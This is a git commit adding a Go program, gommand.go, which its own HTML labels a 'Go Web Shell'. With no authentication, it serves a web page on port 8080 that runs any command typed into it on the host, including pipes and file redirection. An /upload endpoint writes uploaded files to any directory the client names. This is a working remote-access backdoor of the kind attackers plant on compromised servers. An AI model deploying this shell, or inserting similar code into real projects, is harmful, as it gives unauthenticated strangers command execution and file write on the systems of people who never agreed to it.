This commit is contained in:
gurkenhabicht 2025-01-28 09:02:18 +01:00
parent a47b7cd3ba
commit 201969ef90
1 changed files with 408 additions and 0 deletions

408
gommand.go Normal file
View File

@ -0,0 +1,408 @@
package main
import (
// "bytes"
"fmt"
"html/template"
"io"
"net/http"
"os"
"os/exec"
"os/user"
"path/filepath"
"strings"
)
type PageData struct {
CurrentDir string
CurrentUsername string
CommandLog []CommandOutput
}
type CommandOutput struct {
Command string
Output string
Error string
}
var commandLog []CommandOutput
func executeCommand(command string, args []string, dir string) (string, error) {
cmd := exec.Command(command, args...)
cmd.Dir = dir
output, err := cmd.CombinedOutput()
return string(output), err
}
func executeSimpleCommand(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
parts := strings.Fields(command)
if len(parts) == 0 {
return cmdOutput
}
cmd := exec.Command(parts[0], parts[1:]...)
cmd.Dir = currentDir
output, err := cmd.CombinedOutput()
cmdOutput.Command = command
cmdOutput.Output = string(output)
if err != nil {
cmdOutput.Error = err.Error()
}
return cmdOutput
}
func changeDirectory(command string, args []string, currentDir *string) CommandOutput {
var cmdOutput CommandOutput
if len(args) == 0 {
homeDir, _ := os.UserHomeDir()
err := os.Chdir(homeDir)
if err != nil {
cmdOutput = CommandOutput {
Command: command,
Error: "Failed to change to home directory: " + err.Error(),
}
} else {
cmdOutput = CommandOutput {
Command: command,
Output: "Changed to home directory: " + homeDir,
}
*currentDir = homeDir
}
} else {
newDir := args[0]
err := os.Chdir(newDir)
if err != nil {
cmdOutput = CommandOutput {
Command: command + " " + newDir,
Error: "Failed to change to directory: " + err.Error(),
}
} else {
cmdOutput = CommandOutput {
Command: command + " " + newDir,
Output: "Changed to directory: " + newDir,
}
*currentDir = newDir
}
}
return cmdOutput
}
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost {
file, header, err := r.FormFile("file")
if err != nil {
http.Error(w, "Failed to upload file", http.StatusInternalServerError)
return
}
defer file.Close()
uploadDir := r.FormValue("uploadDir")
if uploadDir == "" {
uploadDir = "./"
}
out, err := os.Create(filepath.Join(uploadDir, header.Filename))
if err != nil {
http.Error(w, "Failed to save file", http.StatusInternalServerError)
return
}
defer out.Close()
_, err = io.Copy(out, file)
if err != nil {
http.Error(w, "Failed to write file", http.StatusInternalServerError)
return
}
fmt.Fprintf(w, "File %s uploaded successfully to %s", header.Filename, uploadDir)
}
}
////////////////////////////////////////////////////////////////////////////////
//
// Command redirection and Piping
//
////////////////////////////////////////////////////////////////////////////////
func executeCommandWithRedirection(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
// First pipe
if strings.Contains(command, "|") {
cmdOutput = executeCommandWithPipe(command, currentDir)
} else {
if strings.Contains(command, ">") {
cmdOutput = handleOutputRedirection(command, currentDir)
} else if strings.Contains(command, "<") {
cmdOutput = handleInputRedirection(command, currentDir)
} else {
cmdOutput = executeSimpleCommand(command, currentDir)
}
}
return cmdOutput
}
// Handle output redirection which is '>'
func handleOutputRedirection(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
parts := strings.Split(command, ">")
cmdStr := strings.TrimSpace(parts[0])
outputFile := strings.TrimSpace(parts[1])
cmdParts := strings.Fields(cmdStr)
if len(cmdParts) == 0 {
return cmdOutput
}
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
cmd.Dir = currentDir
file, err := os.Create(outputFile)
if err != nil {
cmdOutput.Error = fmt.Sprintf("Error creating output file: %v", err)
return cmdOutput
}
defer file.Close()
cmd.Stdout = file
cmd.Stderr = file
err = cmd.Run()
if err != nil {
cmdOutput.Error = fmt.Sprintf("Error executing command: %v", err)
}
cmdOutput.Command = command
return cmdOutput
}
func handleInputRedirection(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
parts := strings.Split(command, "<")
cmdStr := strings.TrimSpace(parts[0])
inputFile := strings.TrimSpace(parts[1])
cmdParts := strings.Fields(cmdStr)
if len(cmdParts) == 0 {
return cmdOutput
}
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
cmd.Dir = currentDir
file, err := os.Open(inputFile)
if err != nil {
cmdOutput.Error = fmt.Sprintf("Error opening input file: %v", err)
return cmdOutput
}
defer file.Close()
cmd.Stdin = file
output, err := cmd.CombinedOutput()
cmdOutput.Output = string(output)
if err != nil {
cmdOutput.Error = err.Error()
}
cmdOutput.Command = command
return cmdOutput
}
func executeCommandWithPipe(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
commands := strings.Split(command, "|")
// var prevCmdOutput []byte
var err error
var cmds []*exec.Cmd // Pipeline of commands
for _, cmdPart := range commands {
cmdPart = strings.TrimSpace(cmdPart)
parts := strings.Fields(cmdPart)
if len(parts) == 0 {
continue
}
cmd := exec.Command(parts[0], parts[1:]...)
cmd.Dir = currentDir
cmds = append(cmds, cmd)
}
// Connect the commands through the pipeline
for i := 0; i < len(cmds)-1; i++ {
pipe, pipeErr := cmds[i].StdoutPipe()
if pipeErr != nil {
cmdOutput.Command = command
cmdOutput.Error = fmt.Sprintf("Error creating pipe: %v", pipeErr)
return cmdOutput
}
cmds[i+1].Stdin = pipe
}
// Capture the final output of the last command
var outputBuffer strings.Builder
cmds[len(cmds)-1].Stdout = &outputBuffer
cmds[len(cmds)-1].Stderr = &outputBuffer
// Start each command in the pipeline
for _, cmd := range cmds {
err = cmd.Start()
if err != nil {
cmdOutput.Command = command
cmdOutput.Error = fmt.Sprintf("Error starting command '%s': %v", cmd.Path, err)
return cmdOutput
}
}
// Wait for each command to complete
for _, cmd := range cmds {
err = cmd.Wait()
if err != nil {
cmdOutput.Command = command
cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmd.Path, err)
return cmdOutput
}
}
// if i > 0 {
// cmd.Stdin = bytes.NewReader(prevCmdOutput)
// }
// prevCmdOutput, err = cmd.CombinedOutput()
// if err != nil {
// cmdOutput.Command = command
// cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmdPart, err)
// return cmdOutput
// }
// }
cmdOutput.Command = command
cmdOutput.Output = outputBuffer.String()
// cmdOutput.Output = string(prevCmdOutput)
return cmdOutput
}
func handler(w http.ResponseWriter, r *http.Request) {
currentDir, _ := os.Getwd()
currentUser, _ := user.Current()
currentUsername := currentUser.Username
if r.Method == http.MethodPost {
input := r.FormValue("command")
parts := strings.Fields(input)
if len(parts) > 0 {
command := parts[0]
args := parts[1:]
if command == "cd" {
cmdOutput := changeDirectory(command, args, &currentDir)
commandLog = append(commandLog, cmdOutput)
} else {
cmdOutput := executeCommandWithRedirection(input, currentDir)
// output, err := executeCommand(command, args, currentDir)
// cmdOutput := CommandOutput{
// Command: command + " " + strings.Join(args, " "),
// Output: output,
// }
// if err != nil {
// cmdOutput.Error = err.Error()
// }
commandLog = append(commandLog, cmdOutput)
}
}
}
tmpl := template.Must(template.New("index").Parse(`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Go Web Shell</title>
<style>
body {
background-color: #222;
color: #eee;
font-family: monospace;
font-size: 10pt;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
flex-direction: column;
}
#terminal {
flex: 1;
padding: 10px;
overflow-y: auto;
white-space: pre-wrap;
border: none;
margin: 10px;
display: flex;
flex-direction: column;
}
input {
background: #222;
color: #eee;
border: none;
width: 80%;
font-family: monospace;
}
input:focus {
outline: none;
}
span.command {
color: #75df0b;
}
span.error {
color: #ff5555;
}
span.directory {
color: #1bc9e7;
}
</style>
</head>
<body>
<div id="terminal">
<span>Current Directory: {{.CurrentDir}}</span>
{{range .CommandLog}}
<div><span class="command">gommand:$ {{.Command}}</span></div>
{{if .Output}}
<div>{{.Output}}</div>
{{end}}
{{if .Error}}
<div class="error">{{.Error}}</div>
{{end}}
{{end}}
<form method="POST">
<div style="display: flex; align-items: center;">
<span class="command">{{.CurrentUsername}}:<span class="directory">{{.CurrentDir}}</span> $ </span>
<input type="text" name="command" placeholder="Type a command here..." autofocus required>
</div>
</form>
</div>
</body>
</html>
`))
data := PageData{
CurrentDir: currentDir,
CurrentUsername: currentUsername,
CommandLog: commandLog,
}
tmpl.Execute(w, data)
}
func main() {
http.HandleFunc("/", handler)
http.HandleFunc("/upload", fileUploadHandler)
fmt.Println("Starting server on :8080")
http.ListenAndServe(":8080", nil)
}